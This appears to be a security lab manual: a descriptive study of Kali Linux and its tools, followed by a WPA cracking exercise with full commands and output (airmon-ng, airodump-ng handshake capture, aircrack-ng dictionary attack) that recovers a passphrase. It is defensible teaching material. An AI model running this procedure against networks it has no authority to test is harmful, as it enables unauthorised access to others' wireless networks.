

**Exp. No.: 9a**

**Date:**

## **STUDY OF KALI LINUX DISTRIBUTION**

**Aim:**

To study about Kali Linux: an advanced penetrating testing and security auditing Linux distribution.

**Description:**

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali Linux contains several hundred tools aimed at various information security tasks, such as Penetration Testing, Forensics and Reverse Engineering. Kali Linux is developed, funded and maintained by Offensive Security, a leading information security training company.

Kali Linux was released on the 13th March, 2013 as a complete, top-to-bottom rebuild of BackTrack Linux, adhering completely to Debian development standards. Features are listed below-

- More than 600 penetration testing tools
- Free and Open Source Software
- Open source Git tree: All of the source code which goes into Kali Linux is available for anyone who wants to tweak or rebuild packages to suit their specific needs.
- FHS compliant: It adheres to the Filesystem Hierarchy Standard, allowing Linux users to easily locate binaries, support files, libraries, etc.
- Wide-ranging wireless device support: A regular sticking point with Linux distributions has been support for wireless interfaces. Kali Linux supports many wireless devices.
- Custom kernel, patched for injection: As penetration testers, the development team often needs to do wireless assessments and Kali Linux kernel has the latest injection patches included.

- Developed in a secure environment: The Kali Linux team is made up of a small group of individuals who are the only ones trusted to commit packages and interact with the repositories, all of which is done using multiple secure protocols.
- GPG signed packages and repositories: Every package in Kali Linux is signed by each individual developer who built and committed it, and the repositories subsequently sign the packages as well.
- Multi-language support: It has multilingual support, allowing more users to operate in their native language and locate the tools they need for the job.
- Completely customizable: It can be customized to the requirements of the users.
- ARMEL and ARMHF support: It is suitable for ARM-based single-board systems like the Raspberry Pi and BeagleBone Black.

### **Security Tools:**

Kali Linux includes many well known security tools and are listed below-

- Nmap
- Aircrack-ng
- Kismet
- Wireshark
- Metasploit Framework
- Burp suite
- John the Ripper
- Social Engineering Toolkit
- Airodump-ng

### **Aircrack-ng Suite:**

It is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security:

- Monitoring: Packet capture and export of data to text files for further processing by third party tools.
  - Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
  - Testing: Checking WiFi cards and driver capabilities (capture and injection).
- Cracking: WEP and WPA PSK (WPA 1 and 2).

All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2.

**Result:**

**Exp. No.: 9b**

**Date:**

## **WIRELESS AUDIT**

### **Aim:**

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kalilinux OS.

### **Algorithm:**

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors(IVs).
7. Capture IVs for atleast 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

### **Output:**

```
root@kali:~# iwconfig
eth0    no wireless extensions.
```

```
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short
limit:7 RTS thr:off Fragment thr:off
Encryption key:off Power Management:off
lo      no wireless extensions.
```

```
root@kali:~# iwlist wlan0 scanning
```

```
wlan0 Scan completed :
```

```
Cell 01 - Address: 14:F6:5A:F4:57:22
```

```
Channel:6
```

```
Frequency:2.437 GHz (Channel 6) Quality=70/70 Signal level=-27 dBm
```

```
Encryption key:on ESSID:"BENEDICT"
```

```
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
```

```
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
```

```
36 Mb/s; 48 Mb/s; 54 Mb/s
```

```
Mode:Master Extra:tsf=00000000425b0a37 Extra: Last beacon: 548ms ago IE:
```

```
WPA Version 1
```

```
Group Cipher : TKIP
```

```
Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK
```

```
root@kali:~# airmon-ng start wlan0
```

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

```
PID Name
```

```
1148 NetworkManager
```

```
1324 wpa_supplicant
```

```
PHY Interface Driver Chipset
```

```
phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 802.11n
```

Newly created monitor mode interface wlan0mon is \*NOT\* in monitor mode.

Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

```
root@kali:~# airmon-ng check kill
```

Killing these processes:

PID Name  
1324 wpa\_supplicant

root@kali:~# airmon-ng start wlan0

PHY Interface     Driver        Chipset  
phy0 wlan0 ath9k\_htc    Atheros Communications, Inc. AR9271 802.11n

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)  
(mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon  
CH 6 ][ Elapsed: 5 mins ][ 2016-10-05 01:35 ][ WPA handshake: 14:F6:5A:F4:57:  
BSSID        PWR RXQ Beacons        #Data, #/s CH MB ENC CIPHER AUTH E  
14:F6:5A:F4:57:22        -31    100    3104        100360 6    54e. WPA CCMP  
PSK B

BSSID	STATION	PWR	Rate	Lost	Frames	Probe	14:F6:5A:F4:57:22
	70:05:14:A3:7E:3E	-32	2e-	0	0	10836	

root@kali:~# ls -l

total 10348

-rw-r--r-- 1 root root 10580359 Oct 5 01:35 atheros-01.cap  
-rw-r--r-- 1 root root        481 Oct 5 01:35 atheros-01.csv  
-rw-r--r-- 1 root root        598 Oct 5 01:35 atheros-01.kismet.csv  
-rw-r--r-- 1 root root        2796 Oct 5 01:35 atheros-01.kismet.netxml

root@kali:~# aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt  
[00:00:52] 84564 keys tested (1648.11 k/s)

KEY FOUND! [ rec12345 ]

Master Key :        CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14 77 49 A9 7AA0  
2D 9F BB 2B C3 8D 26 D2 33 54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53  
38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF  
81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05 F6 53 B8 CA A0 70 EC 02  
1B EA 5F 7A DA 7A EC 7D

EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

**Result:**